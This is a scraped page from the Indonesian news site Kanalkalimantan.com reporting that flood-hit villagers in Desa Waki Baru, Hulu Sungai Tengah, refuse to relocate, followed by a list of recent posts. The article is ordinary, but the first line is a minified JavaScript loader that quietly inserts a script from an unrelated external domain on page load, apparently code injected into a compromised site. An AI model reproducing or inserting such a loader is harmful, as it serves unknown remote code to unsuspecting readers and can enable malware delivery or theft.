(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Tengah

Pasca Banjir, Warga Desa Waki Baru HST Tolak Pindah dari Desa Asal


KANALKALIMANTAN.COM, BARABAI – Pasca banjir yang menghantam Kalimantan Selatan (Kalsel) beberapa waktu lalu, duka masih dirasakan warga Desa Waki Baru, Kecamatan Batu Benawa, Hulu Sungai Tengah (HST).

Hingga saat ini mereka masih mendiami posko atau rumah darurat yang dibuat dari bekas puing rumah mereka yang hancur diterjang banjir.

Sebenarnya, pemerintah setempat sudah minta untuk pindah ke tempat yang lebih tinggi. Agar jika terjadi banjir, mereka tak mengalami nasib sama. Namun warga menolak dan memilih menetap lokasi pengungsian sementara.

“Kita juga susah kalau mau memaksa warga pindah, karena mungkin mereka sudah terbiasa dan merasa nyaman tinggal di sini. Karena mereka kebanyakan penduduk asli desa ini, jadi ada rasa berat untuk meninggalkan,” kata Lukman, Bhabinsa Desa Waki Baru dari Koramil 07 Pagat, saat diwawancara Kanalkalimantan.com, Selasa (2/2/2021).

Ia mengatakan, kondisi di lokasi tersebut padahal sulit untuk mendapatkan akses air bersih. Saat ini, warga bertahan hanya dari air bersih bantuan donatur dan relawan. Pasalnya, saluran sumber air yang biasanya dikonsumsi oleh warga setempat, rusak akibat arus banjir. Ditambah lagi air sungai yang masih dalam keadaan keruh, karena tercampur tanah, sehingga tidak bisa dikonsumsi untuk sementara waktu.

Sementara itu, Halimah, salah satu warga Desa Waki Baru mengungkapkan, jika harus pindah lebih banyak proses yang harus dilewati. Juga harus membeli tanah lagi untuk membangun rumah baru tersebut.

“Dari pada saya repot ngurus prosesnya, ditambah lagi harus keluar biaya lagi. Lebih baik saya gunakan untuk membangun rumah yang baru di sini, kan tidak perlu beli lagi tanahnya,” ujar ibu dua anak ini.

“Di sini adalah kampung halaman saya, dari saya lahir sampai sekarang saya hidup di sini. Orang tua saya juga tinggal di sini, jadi berat hati saya kalau harus meninggalkan desa ini,” tutupnya.(Kanalkalimantan.com/Tius)

 

Reporter : Tius
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Pembangunan Trotoar Jalan Kemuning Dimulai, Beberapa Pagar Warga Kena Penggalian

KANALKALIMANTAN.COM, BANJARBARU – Pembangunan trotoar di kawasan Jalan Kemuning Banjarbaru, Kecamatan Banjarbaru Selatan, Kota Banjarbaru,… Read More

13 menit ago

Calon Haji Tertua Kabupaten Banjar Berusia 86 Tahun, Bupati Banjar Lepas Keberangkatan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More

2 jam ago

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

3 jam ago

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

6 jam ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

7 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

7 jam ago

This website uses cookies.